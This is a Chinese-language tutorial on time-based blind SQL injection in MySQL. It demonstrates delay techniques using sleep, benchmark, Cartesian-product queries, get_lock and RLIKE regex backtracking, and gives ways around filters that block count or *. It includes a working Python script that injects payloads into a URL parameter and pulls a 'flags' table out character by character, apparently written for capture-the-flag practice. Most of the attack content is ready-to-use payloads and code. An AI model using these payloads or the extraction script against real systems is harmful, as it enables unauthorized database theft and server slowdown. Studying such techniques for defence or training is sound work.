关于时间盲注的一些方法
这里用菜鸟教程给的例子的表:
id | name | url | alexa | country |
---|---|---|---|---|
1 | https://www.google.cm/ | 1 | USA | |
2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
3 | 菜鸟教程 | http://www.runoob.com/ | 10 | CN |
4 | 微博 | http://weibo.com/ | 20 | CN |
5 | https://www.facebook.com/ | 3 | USA | |
7 | stackoverflow | http://stackoverflow.com/ | 0 | IND |
基本延时的盲注:sleep
select * from 表名 where id=1 and sleep(2);
配合if语句
if(expr1,expr2,expr3)
expr1是真,返回expr2,否则expr3
select * from websites where name='1' or if(name='Facebook',sleep(2),null);
判断是否有网站名字为Facebook
配合截取函数
substr(string,start,length)
mid(string,start,length)
select * from websites where name='2' or if(substr((select name from websites where id=1),0,1)='G',sleep(2),0);
1.benchmark()
benchmark是MySQL的一个内置函数,作用是测试一些函数的执行速度.benchmark中有两个参数,第一个是执行的次数,第二个是要执行的函数或者表达式
mysql> select benchmark(10000,md5('a'));
+---------------------------+
| benchmark(10000,md5('a')) |
+---------------------------+
| 0 |
+---------------------------+
1 row in set (0.01 sec)
mysql> select benchmark(100000000,md5('a'));
+-------------------------------+
| benchmark(100000000,md5('a')) |
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (14.29 sec)
可以看到执行次数不同,时间也不同,我们接下来用它来达到sleep的延时目的
select 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1);
2.笛卡尔积
假设a表m行,b表n行,a和b的笛卡尔积有m×n行,一个表的每一行连接另一个表的每一行
通过大量的查询导致查询时间变长来达到延时目的,我们可以测试一下
mysql> select count(*) from information_schema.columns A,information_schema.columns B,information_schema.tables;
+------------+
| count(*) |
+------------+
| 2902416216 |
+------------+
1 row in set (1 min 22.66 sec)
花了1分多钟,太久了
第三个表整个少点的表:
mysql> select count(*) from information_schema.columns A,information_schema.columns B,information_schema.schemata;
+----------+
| count(*) |
+----------+
| 88849476 |
+----------+
1 row in set (3.25 sec)
想要多大的负荷可以自己调整
注意:
-
如果count被过滤,可以用其他聚集函数(avg,min,max,sum)
-
*
如果被过滤,可以用某一个字段代替,比如TABLE_NAME(information_schema.columns里面的,information_schema.tables里也有)
eg.
mysql> select max(A.TABLE_NAME) from information_schema.columns A,information_schema.columns B,information_schema.schemata;
+-------------------+
| max(A.TABLE_NAME) |
+-------------------+
| ybi9vldguk |
+-------------------+
1 row in set (7.17 sec)
3.get_lock()
get_log是MySQL的锁机制,按照key加锁,别的客户端再加锁这个key就会延迟,可以用release_lock来释放上面的锁或者客户端断线了那个锁才会释放
本地测试:
第一个cmd:
mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.04 sec)
第二个cmd:
mysql> select get_lock('test',3);
+--------------------+
| get_lock('test',3) |
+--------------------+
| 0 |
+--------------------+
1 row in set (3.00 sec)
mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.00 sec)
由此可见我们可以达到延迟的效果,且延迟的时间我们可控。那我们要怎么利用它来时间盲注呢?
条件:
- 长连接,也就是要mysql_pconnect(),它会保持连接并不会立刻断开,而不是mysql_connect(),它使用结束后立刻就会断开,这样,我们加的锁就能持续一段时间
- 第一次加锁后要等1-2分钟再访问,服务器才会判断你为客户B
payload:
import requests,time
url1 = "http://xxx/test.php?id=1' and get_lock('test',1)%23"
r = requests.get(url1)
time.sleep(90)
# 加锁后变换身份
url2 = "http://xxx/test.php?id=1' and %s and get_lock('test',5)%%23"
data = ""
for i in range(1,100):
print (i)
for j in range(33,127):
# payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j)
# payload = "(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%s)"%(i,j) # payload = "(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flags'),%s,1))=%s)"%(i,j) payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)"%(i,j)
payload_url = url2%(payload)
try:
s = requests.get(payload_url,timeout=4.5)
except:
data += chr(j)
print (data)
break
这里timeout设置为4.5正好可以排除服务器本身原因延迟的问题,因为正确的答案会延迟五秒,会报错在except里处理
4.Rlike
利用SQL中多次匹配正则消耗计算资源来达到延时目的
mysql> select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b';
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rp |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
0 |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (2.73 sec)
分析:
- rpad(1,999999,‘a’)是把1换成字符串1,再往右边添加字符串a到目标长度为999999
- rlike是在正则表达式匹配字符串
- 如果真实环境服务器很快的话,可能不是很好用,可以通过添加rpad(1,999999,‘a’)和
(a.*)
来延长时间